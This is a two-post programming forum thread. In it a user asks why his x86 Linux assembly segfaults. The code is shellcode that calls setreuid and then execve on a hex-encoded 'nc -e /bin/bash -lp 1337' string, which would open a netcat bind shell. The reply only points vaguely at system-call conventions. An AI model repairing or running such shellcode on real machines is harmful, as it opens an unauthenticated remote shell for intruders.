CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 2 of 2
  1. #1
    Join Date
    Apr 2009
    Posts
    38

    Warning: word data exceeds bounds

    I am trying to run this code:
    (NOTE: This code will start a bind shell on port 1337 if you get this working, so don't leave it running!)

    Code:
    section .text
    global _start
    _start:
    
    xor eax, eax
    mov al, 0x46
    xor ebx, ebx
    xor ecx, ecx
    int 0x80
    
    xor eax, eax
    push eax
    push 0x37333331
    push 0x20706c2d
    push 0x20687361
    push 0x622f6e69
    push 0x622f2065
    push 0x2d20636e
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    xor edx, edx
    mov al, 0xb
    int 0x80
    When only 2 push commands are used then it runs fine, but when I use 6 I get a segmentation fault, I have very little knowledge of asm so any help would be really appreciated

    Thank You,
    -Sam

  2. #2
    Join Date
    Oct 2006
    Location
    Sweden
    Posts
    3,619

    Re: Warning: word data exceeds bounds

    As I can find on the net int 0x80 is a system call in Linux on x86. Depending on what call you make it expects the correct parameters to be provided on the stack and in certain registers. I.e. for one type of call there should be 2 pushes and for another type of call there should be none.

    I don't enough about this to tell you exactly why it segfaults but if you find out what call it is it should be obvious.
    Debugging is twice as hard as writing the code in the first place.
    Therefore, if you write the code as cleverly as possible, you are, by
    definition, not smart enough to debug it.
    - Brian W. Kernighan

    To enhance your chance's of getting an answer be sure to read
    http://www.codeguru.com/forum/announ...nouncementid=6
    and http://www.codeguru.com/forum/showthread.php?t=366302 before posting

    Refresh your memory on formatting tags here
    http://www.codeguru.com/forum/misc.php?do=bbcode

    Get your free MS compiler here
    http://www.microsoft.com/visualstudio/eng/downloads

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



HTML5 Development Center

Click Here to Expand Forum to Full Width